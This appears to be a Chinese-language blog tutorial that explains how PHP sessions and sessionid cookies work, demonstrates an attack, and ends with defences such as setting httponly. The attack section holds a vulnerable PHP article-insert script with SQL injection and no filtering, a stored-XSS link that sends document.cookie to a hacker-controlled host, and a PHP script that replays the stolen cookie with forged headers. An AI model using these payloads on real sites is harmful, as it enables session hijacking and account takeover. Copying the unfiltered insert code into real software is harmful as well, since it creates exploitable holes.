session的根本原理及安全性
提到session,大家肯定會聯想到登入,登入成功後記錄登入狀態,同時標記當前登入使用者是誰。功能大體上就是這個樣子,但是今天要講的不是功能,而是實現。通過探討session的實現方式來發掘一些可能你之前不知道的有趣的事情。
為了記錄session,在客戶端和伺服器端都要儲存資料,客戶端記錄一個標記,伺服器端不但儲存了這個標記同時還儲存了這個標記對映的資料。好吧,還是說點白話吧,在客戶端記錄的其實是一個sessionid,在伺服器端記錄的是一個key-value形式的資料結構,這裡的key肯定是指sessionid了,value就代表session的詳細內容。使用者在做http請求的時候,總是會把sessionid傳遞給伺服器,然後伺服器根據這個sessionid來查詢session的內容(也就是上面說到的value)。
現在我們重點關注一下sessionid,他是今天問題的關鍵所在。sessionid在客戶端(http的客戶端一般就是指瀏覽器了)是儲存在cookie中,當然也有例外(書本上肯定會提到也有儲存在url中的,我做程式設計師這麼多年也沒有見過這種方式,這難道就是現實和實際的差距嗎,好殘酷)。
我們通過一個例子來闡述一下這個sessionid在session處理時的作用。首先假定這麼一個場景,我們有一個cms(content management system,內容管理系統),這個應用有一個後臺,使用者必須登入才能進入後臺進行文章發表等操作。首先是登入流程,使用者在瀏覽器輸入使用者名稱、密碼,點選登入,瀏覽器會將使用者名稱密碼提交到伺服器程式進行處理;伺服器驗證使用者名稱、密碼正確後,會返回登入成功資訊,並且會修改伺服器端的session內容,比如我們將使用者ID寫入session中,為了方便儲存這些session的內容會被序列化成字串或者二進位制儲存在檔案或者資料庫中,這時候大多數情況下伺服器在對當前的http請求進行響應時,會返回一個新的sessionid要求瀏覽器寫入本地cookie中,對應的返回的http響應頭部資訊應該會是是這個樣子的:set-cookie:PHPSESSID=xxxxxxx
圖1.1 登入時序圖
接著使用者登入後臺進行發表文章操作,登入使用者填寫文章的標題、內容,然後點擊發送。這時候瀏覽器會生成一條到伺服器的http請求,注意這個請求的頭部會將儲存sessionid的cookie內容傳送過去,也就是說請求的http頭部資訊中應該會有這麼一段資料:
cookie:PHPSESSID=xxxxxxx;other_cookie_name=yyyyyy
;伺服器接收到這個http請求之後,解析到cookie存在,且cookie中存在PHPSESSID這個cookie名字,然後就將PHPSESSID的值(也就是sessionid的值)取出來,根據這個PHPSESSID查詢伺服器上有沒有對應的session內容,如果有則將其對應的值取出來進行反序列序列化(也就是將其轉成程式語言中的一個數據結果,比如在php中會得到一個$_SESSION
javax.servlet.http.HttpSession
),方便在程式中進行讀取,最終伺服器認定session中儲存的值存在,並且從反序列化得到的物件中讀取到了使用者ID屬性,然後就往cms資料庫的文章表中插入了一條資料,最終返回http響應,告訴瀏覽器操作成功了。圖1.2 發表文章時序圖
2.入侵示例
關於cookie的一些屬性,可以參考我的另一篇博文關於cookie的一些事,裡面會提到一個httponly的屬性,也就是是否禁止js讀取cookie。不幸的是很多常見的伺服器(比如apache和tomcat)在生成這個儲存sessionid的cookie的時候,沒有設定httponly這個屬性,也就是說js是可以將這個sessionid讀取出來的。
js讀取到sessionid,這會有問題嗎?如果沒有問題,我就不在這裡囉嗦了。你網站上的執行的js程式碼並不一定是你寫的,比如說一般網站都有一個發表文章或者說發帖的功能,如果別有用心的人在發表的時候填寫了html程式碼(這些html一般是超連結或者圖片),但是你的後臺又沒有將其過濾掉,發表出來的文章,被其他人點選了其中惡意連結時,就出事了。這也就是我們常說的XSS。
<?php
session_start();
$result = array();
if (!isset($_SESSION['uid']) || !$_SESSION['uid']) {
$result['code'] = 2;
$result['msg'] = '尚未登入';
} else {
$uid = $_SESSION['uid'];
require_once('../globaldb.php');
if (!isset($_POST['title']) || !$_POST['title']) {
$result['code'] = 4;
$result['msg'] = '標題為空';
goto end;
}
if (!isset($_POST['content']) || !$_POST['content']) {
$result['code'] = 4;
$result['msg'] = '內容為空';
goto end;
}
if ($db->getStatus()) {
$title = $_POST['title'];
$content = $_POST['content'];
$sql = 'insert into article(title,content,uid,create_time) values("'.$title.'","'.$content.'",'.$uid.',now())';
$rv = $db->dbExecute($sql);
if ($rv > 0) {
$result['code'] = 0;
} else {
$result['code'] = 3;
$result['msg'] = '插入失敗';
}
} else {
$result['code'] = 1;
$result['msg'] = '資料庫操作失敗';
}
}
end:
echo (json_encode($result));
程式碼2.1 新增文章的後臺程式碼
這裡給出了一段不靠譜程式碼,之所以這麼說是由於對於提交的內容沒有做過濾,比如說content
表單域的內容。現在假設有這麼兩個網站,一個你自己的CMS網站,域名mycms.whyun.com
,一個黑客用的網站,域名session.myhack.com
。你可以通過配置hosts來模擬這兩個網站,說到這裡可還是推薦一下我之前做過的addhost工具,可以自動生成hosts和vhost配置。程式碼2.1正是mycms網站的程式碼。
登入mycms後在後臺新增一篇文章,文章內容為:
<a href=\"#\" onclick=\'javascript:alert(document.cookie);return false;\'>點選我,有驚喜!</a>
程式碼2.2 alert cookie
圖2.1 顯示cookie的html
開啟剛才生成的文章連結,然後點選點選我,有驚喜!
,會顯示當前域下的所有cookie。
圖2.2 cookie被alert出來
當然要想做到攻擊的目的僅僅做這些是不夠的,下面將這個連結的內容做的豐富多彩些。
<a href=\"#\" onclick=\'javascript:var link = this; var head = document.getElementsByTagName(\"head\")[0]; var js = document.createElement(\"script\"); js.src = \"http://session.myhack.com/httphack.php?cook=\"+encodeURIComponent(document.cookie); js.onload = js.onreadystatechange = function(){ if (!this.readyState || this.readyState == \"loaded\" || this.readyState == \"complete\") {head.removeChild(js); alert(\"over\"); } }; head.appendChild(js);return false;\'>點選我,有驚喜2!</a>
程式碼2.3 跨站請求
這裡為了將程式碼嵌入html,得將其寫作一行,其簡潔模式為:
var link = this;
var head = document.getElementsByTagName("head")[0];
var js = document.createElement("script");
js.src = "http://session.myhack.com/httphack.php?cook="+encodeURIComponent(document.cookie);
js.onload = js.onreadystatechange = function(){
if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {
head.removeChild(js);
alert('開始跳轉真正的地址');location.href=link.getAttribute("href");//
}
};
head.appendChild(js);
程式碼2.4 跨站請求簡潔版
為了真正的體現他是超連結還是跳轉到一個地址為妙,所以在簡潔班中指令碼載入結束後做了跳轉,但是為了演示方便,我們在程式碼2.3中沒有這麼做。
現在再點選連結點選我,有驚喜!
,檢視一下一下網路請求,會發現一個到session.myhack.com/httphack.php地址的請求,返回資料為var
data = {"code":0};
。
圖2.3 跨站請求
接著看看httphack.php幹了啥:
<?php
error_reporting(E_ALL);
header("Content-type:application/javascript");
function getRealIp()
{
$ip = '127.0.0.1';
$ipname = array(
'REMOTE_ADDR',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED'
);
foreach ($ipname as $value)
{
if (isset($_SERVER[$value]) && $_SERVER[$value]) {
$ip = $_SERVER[$value];
break;
}
}
return $ip;
}
$ip = getRealIp();
$cookies = isset($_GET['cook']) ? $_GET['cook'] : '';
$headers = array(
'User-Agent:'.$_SERVER['HTTP_USER_AGENT'],
'X-FORWARDED-FOR:'.$ip,
'Remote-Addr:'.$ip,
'Cookie:'.$cookies
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://mycms.whyun.com/back/article/article_add.php");
// 設定cURL 引數,要求結果儲存到字串中還是輸出到螢幕上。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //構造IP
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); //構造來路
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, true);
$params = array('title'=>'這是跨站攻擊測試','content'=>'網站被跨站攻擊了');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
$out = curl_exec($ch);
curl_close($ch);
$data = json_encode($headers);
echo "var data = $out;";
程式碼2.5 偽造session提交
從程式碼2.5中可以看出,我們偽造了http請求的header內容,吧瀏覽器中mycms域的cookie原封不動傳過去了,同時在header還偽造了user-agent和ip,mycms中在校驗session的時候,發現sessionid和user-agent資訊都是對的,所以認為session是存在且合法的!至此為止,我們完成了跨站請求攻擊。
3.防範
第二章節中,我們的攻擊思路是這樣的,我們示例了通過js獲取cookie,然後生成一個第三方網站的網路請求,然後再從第三方網站發起一個網路請求到我們自己的網站上。整個更急流程大體是這樣的:
圖3.1 跨站請求流程
從圖3.1可以看出,讓整個流程無法進行下去的措施有兩個,一個就是加強對提交資訊和頁面顯示資訊的過濾,讓非法提交內容無處施展;第二個就是讓儲存在cookie中的sessionid不能被js讀取到,這樣即使第一步出現漏洞的情況下,依然不會被攻擊者走完整個攻擊流程。
在php中設定sessionid的httponly屬性的方法有很多,具體可以參考 stackoverflow上的一個提問。jsp中也是有很多方法,可以參考開源中國紅薯發表的一篇文章。這裡僅僅貼出來php中一個解決方法,就是在session_start()
之後重新設定一下cookie:
<?php
$sess_name = session_name();//必須在session_start之前呼叫session_name
if (session_start()) {
setcookie($sess_name, session_id(), null, '/', null, null, true);
}
程式碼3.1 設定httponly屬性為true